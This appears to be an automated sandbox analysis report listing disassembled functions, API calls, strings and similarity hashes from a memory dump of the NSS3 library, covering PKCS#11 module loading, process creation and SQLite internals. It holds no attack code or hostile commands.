Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 7d272609bb1c1f1bd9a24eadcb415303b82f4dd1ccf70706f2a23b34168dfb1c
Instruction ID: 11d0d8f511e8d384f41fb2d6e8e0b6bfee324733baa1e9312116f4dee2f9a210
Opcode Fuzzy Hash: 7d272609bb1c1f1bd9a24eadcb415303b82f4dd1ccf70706f2a23b34168dfb1c
Instruction Fuzzy Hash: 3B52C0B1F122019BEF119F64DC097AA7BB4AF0630CF254028FD19A7B51E731E955CBA2

Function 6CEABFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CEAC0C8

Part of subcall function 6CF39440: LeaveCriticalSection.KERNEL32 ref: 6CF395CD
Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF39622
Part of subcall function 6CF39440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CF3964E

PR_EnterMonitor.NSS3 ref: 6CEAC0AE

Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF391AA
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39212
Part of subcall function 6CF39090: _PR_MD_WAIT_CV.NSS3 ref: 6CF3926B

Part of subcall function 6CE60600: GetLastError.KERNEL32(?,?,?,?,?,6CE605E2), ref: 6CE60642
Part of subcall function 6CE60600: TlsGetValue.KERNEL32(?,?,?,?,?,6CE605E2), ref: 6CE6065D
Part of subcall function 6CE60600: GetLastError.KERNEL32 ref: 6CE60678
Part of subcall function 6CE60600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CE6068A
Part of subcall function 6CE60600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE60693
Part of subcall function 6CE60600: PR_SetErrorText.NSS3(00000000,?), ref: 6CE6069D
Part of subcall function 6CE60600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,20C012B1,?,?,?,?,?,6CE605E2), ref: 6CE606CA
Part of subcall function 6CE60600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CE605E2), ref: 6CE606E6

PR_EnterMonitor.NSS3 ref: 6CEAC0F2
PR_ExitMonitor.NSS3 ref: 6CEAC10E
PR_ExitMonitor.NSS3 ref: 6CEAC081

Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF3945B
Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF39479
Part of subcall function 6CF39440: EnterCriticalSection.KERNEL32 ref: 6CF39495
Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF394E4
Part of subcall function 6CF39440: TlsGetValue.KERNEL32 ref: 6CF39532
Part of subcall function 6CF39440: LeaveCriticalSection.KERNEL32 ref: 6CF3955D

PR_EnterMonitor.NSS3 ref: 6CEAC068

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

Part of subcall function 6CE60600: GetProcAddress.KERNEL32(?,?), ref: 6CE60623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CEAC14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CEAC183
free.MOZGLUE(00000000), ref: 6CEAC18E
PR_LoadLibrary.NSS3(?), ref: 6CEAC1A3
PR_EnterMonitor.NSS3 ref: 6CEAC1D4
PR_ExitMonitor.NSS3 ref: 6CEAC1F3
PR_CallOnce.NSS3(6CFD2318,6CEACA70), ref: 6CEAC210
PR_EnterMonitor.NSS3 ref: 6CEAC22B
PR_ExitMonitor.NSS3 ref: 6CEAC247
PR_EnterMonitor.NSS3 ref: 6CEAC26A
PR_ExitMonitor.NSS3 ref: 6CEAC287
PR_UnloadLibrary.NSS3(?), ref: 6CEAC2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CEAC392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEAC3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CEAC3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CEAC782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CEAC7B5
PR_UnloadLibrary.NSS3(?), ref: 6CEAC7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CEAC82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEAC8BF
PORT_Alloc_Util.NSS3(?), ref: 6CEAC8D5
free.MOZGLUE(00000000), ref: 6CEAC900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEAC9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEAC9E5
free.MOZGLUE(00000000), ref: 6CEACA5A

Strings

NSS_DISABLE_UNLOAD, xrefs: 6CEAC7B0
FC_GetFunctionList, xrefs: 6CEAC098
NSC_ModuleDBFunc, xrefs: 6CEAC0FC
FC_GetInterface, xrefs: 6CEAC054
Vendor NSS FIPS Interface, xrefs: 6CEAC34A
NSS_ReturnModuleSpecData, xrefs: 6CEAC275
nss_mod_log, xrefs: 6CEAC3CC
NSC_GetInterface, xrefs: 6CEAC04F
NSS_FORCE_TOKEN_LOCK, xrefs: 6CEAC77D
PKCS 11, xrefs: 6CEAC2F9, 6CEAC314
NSC_GetFunctionList, xrefs: 6CEAC093
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CEAC38D

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 3236adde3368504de406d8d84dfd1d2b4b6d394378c83b5fcdf1eaf144b3ba59
Instruction ID: 497bb7893aa3536a7db23fdbb6ea782cdbc821be9d91080977c544e7fd7996a5
Opcode Fuzzy Hash: 3236adde3368504de406d8d84dfd1d2b4b6d394378c83b5fcdf1eaf144b3ba59
Instruction Fuzzy Hash: 094281B1F102049FEB44DFA5C847B5A7BB0BB46308F254029E8169FB25E732E956CBD1

Function 6CF83FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CF83FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF83FFE
malloc.MOZGLUE(-00000003), ref: 6CF84016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CFBFC62), ref: 6CF8404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF8407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF840A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF840D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF84112
malloc.MOZGLUE(00000000), ref: 6CF8411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CF8414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF84160
free.MOZGLUE(?), ref: 6CF8416C
malloc.MOZGLUE(?), ref: 6CF841AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CF841EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CF84520), ref: 6CF84244
GetEnvironmentStrings.KERNEL32 ref: 6CF8424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF84263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF84283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF842B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF842E4
malloc.MOZGLUE(00000002), ref: 6CF842FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF84342
GetStdHandle.KERNEL32(000000F6), ref: 6CF843AB
GetStdHandle.KERNEL32(000000F5), ref: 6CF843B2
GetStdHandle.KERNEL32(000000F4), ref: 6CF843B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF84403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF84410

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CF8445E
CloseHandle.KERNEL32(?), ref: 6CF8446B
free.MOZGLUE(?), ref: 6CF84482
free.MOZGLUE(00000000), ref: 6CF84492
free.MOZGLUE(00000000), ref: 6CF844A4
GetLastError.KERNEL32 ref: 6CF844B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CF844BE
free.MOZGLUE(?), ref: 6CF844C7
free.MOZGLUE(00000000), ref: 6CF844D5
free.MOZGLUE(00000000), ref: 6CF844EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6CF841E9
D, xrefs: 6CF84396
=, xrefs: 6CF844F8

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: d5028bdfe7a1fdf4b5c3f3fddf14d142048c8ea925915b10a9ea21a876b13594
Instruction ID: b8e22b96b0404a27733ea1fc5cedda63940d073a658e12fd8db8ff8c8a6c55cf
Opcode Fuzzy Hash: d5028bdfe7a1fdf4b5c3f3fddf14d142048c8ea925915b10a9ea21a876b13594
Instruction Fuzzy Hash: 69022571E063119FEB10CF69C8647AFBFB8AF16308F244128DC66A7B41D731A905CB91

Function 6CE96D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CF9A8EC,0000006C), ref: 6CE96DC6
memcpy.VCRUNTIME140(?,6CF9A958,0000006C), ref: 6CE96DDB
memcpy.VCRUNTIME140(?,6CF9A9C4,00000078), ref: 6CE96DF1
memcpy.VCRUNTIME140(?,6CF9AA3C,0000006C), ref: 6CE96E06
memcpy.VCRUNTIME140(?,6CF9AAA8,00000060), ref: 6CE96E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE96E38

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CE96E76
TlsGetValue.KERNEL32 ref: 6CE9726F
EnterCriticalSection.KERNEL32(?), ref: 6CE97283

Strings

!, xrefs: 6CE97123

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 88d63d9f75864cabe302accf7e33f4db927ef6e8607c4c011b66f8ba539d2726
Instruction ID: ac4de55b0e2dba35492c94556c81296f3509af6d5b1f930650b93cd29fddfb68
Opcode Fuzzy Hash: 88d63d9f75864cabe302accf7e33f4db927ef6e8607c4c011b66f8ba539d2726
Instruction Fuzzy Hash: A5728075D052189FDF60DF28CC8879ABBB5AF49308F2441A9D80DA7701E731AA89CF91

Function 6CE03C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE03C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CE03D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE03EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE03ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE03F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE04052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE0406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CE0410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE0449C

Strings

%s at line %d of [%.10s], xrefs: 6CE04495, 6CE044F9, 6CE0459E, 6CE04769, 6CE04809
database corruption, xrefs: 6CE04490, 6CE044F4, 6CE04599, 6CE04764, 6CE04804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE04452, 6CE04486, 6CE044EA, 6CE04571, 6CE04580, 6CE0458F, 6CE0475A, 6CE047FA

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: c21f29a172ccdc07987e7deb1221ae8bc3b6f5f73ffa9931b1c5a0dac926ed1a
Instruction ID: 85db6c3e111cbb61406b53aaf7159f2479938cc104384d3c3db4ee12187c1532
Opcode Fuzzy Hash: c21f29a172ccdc07987e7deb1221ae8bc3b6f5f73ffa9931b1c5a0dac926ed1a
Instruction Fuzzy Hash: A2829A75B002159FCB04CF69C580B9AB7B2BF59318F3981AAD805ABB51D731EC52CBE1

Function 6CEDAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEDACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CEDACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CEDACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CEDAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CEDADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDADF0

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEDB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEDB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEDB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CEDB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEDB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDB40C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 0daf8f82bcd923b64b079311a1e1ff03b0ee3178768a20cb892c1a2c1cc95d2e
Instruction ID: 02983415f08eecd586f99c5eb39c272498e7d6406a8b6ec138ea2e7ca399b783
Opcode Fuzzy Hash: 0daf8f82bcd923b64b079311a1e1ff03b0ee3178768a20cb892c1a2c1cc95d2e
Instruction Fuzzy Hash: 6522AD71A04301AFE700CF14CC45B9A77B1AF8430CF26856CE8595F7A2E772E95ACB96

Function 6CE21F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE225F3

Strings

%s.%s.%s, xrefs: 6CE2302D
H, xrefs: 6CE2329F
no tables specified, xrefs: 6CE226BE
'%s' is not a function, xrefs: 6CE22FD2
too many columns in result set, xrefs: 6CE23012
%s.%s, xrefs: 6CE22D68
table %s has %d values for %d columns, xrefs: 6CE2316C
unsafe use of virtual table "%s", xrefs: 6CE230D1
a NATURAL join may not have an ON or USING clause, xrefs: 6CE232C1
too many references to "%s": max 65535, xrefs: 6CE22FB6
no such index: "%s", xrefs: 6CE2319D
multiple recursive references: %s, xrefs: 6CE222E0
recursive reference in a subquery: %s, xrefs: 6CE222E5
cannot have both ON and USING clauses in the same join, xrefs: 6CE232B5
cannot join using column %s - column not present in both tables, xrefs: 6CE232AB
H, xrefs: 6CE2322D
access to view "%s" prohibited, xrefs: 6CE22F4A
no such table: %s, xrefs: 6CE226AC

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 9288e380177a4698454a6b378d6ae9cb48e7d5c6aa49f657687cee95781bf306
Instruction ID: 2474da726bfab65da74743664cf1eeec96fcef9ae3920ea5c9f94a353e32c999
Opcode Fuzzy Hash: 9288e380177a4698454a6b378d6ae9cb48e7d5c6aa49f657687cee95781bf306
Instruction Fuzzy Hash: FAD29C70E14209CFDB14CF99C484B9DB7B2FF59328F388169D855ABB51DB39A842CB90

Function 6CE5ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE5ED38

Part of subcall function 6CDF4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CE5EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CE5EFE4

Part of subcall function 6CF1DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDF5001,?,00000003,00000000), ref: 6CF1DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CE5F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CE5F129
sqlite3_mprintf.NSS3(optimize), ref: 6CE5F1D1
sqlite3_free.NSS3(?), ref: 6CE5F368

Strings

porter, xrefs: 6CE5ED97
offsets, xrefs: 6CE5EFAF, 6CE5EFDF, 6CE5F01F
fts4, xrefs: 6CE5F2AD
fts3_tokenizer, xrefs: 6CE5EE1A, 6CE5EEA8
unicode61, xrefs: 6CE5EDB5
fts3, xrefs: 6CE5F247
matchinfo, xrefs: 6CE5F04F, 6CE5F082, 6CE5F0C2, 6CE5F0F2, 6CE5F124, 6CE5F169
optimize, xrefs: 6CE5F199, 6CE5F1CC, 6CE5F211
simple, xrefs: 6CE5ED79
snippet, xrefs: 6CE5EF05, 6CE5EF37, 6CE5EF7C
fts4aux, xrefs: 6CE5ECF9
fts3tokenize, xrefs: 6CE5F30F

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 8b807dc24819ad9aa88dee16f718e78e9e5ee0e0b747a35ba1a5c2d2595a6d5e
Instruction ID: a18082c2ecbd91c554f858810bb490037332f05af33bee974ffe79e649275f8d
Opcode Fuzzy Hash: 8b807dc24819ad9aa88dee16f718e78e9e5ee0e0b747a35ba1a5c2d2595a6d5e
Instruction Fuzzy Hash: E60215B1B143008BE7049F71988672B77B27FC530CF24853CD85A87B45EB7AE9668792

Function 6CED7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CED7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CED7D1E

Part of subcall function 6CED7870: SECOID_FindOID_Util.NSS3(?,?,?,6CED91C5), ref: 6CED788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CED7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CED7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CED7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CED7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CED7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CED7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CED7E58

Part of subcall function 6CED7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CED91C5), ref: 6CED78BB
Part of subcall function 6CED7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CED91C5), ref: 6CED78FA
Part of subcall function 6CED7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CED91C5), ref: 6CED7930
Part of subcall function 6CED7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CED91C5), ref: 6CED7951
Part of subcall function 6CED7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CED7964
Part of subcall function 6CED7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CED797A
Part of subcall function 6CED7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CED7988
Part of subcall function 6CED7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CED7998
Part of subcall function 6CED7870: free.MOZGLUE(00000000), ref: 6CED79A7
Part of subcall function 6CED7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CED91C5), ref: 6CED79BB
Part of subcall function 6CED7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CED91C5), ref: 6CED79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CED7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CED7F8C
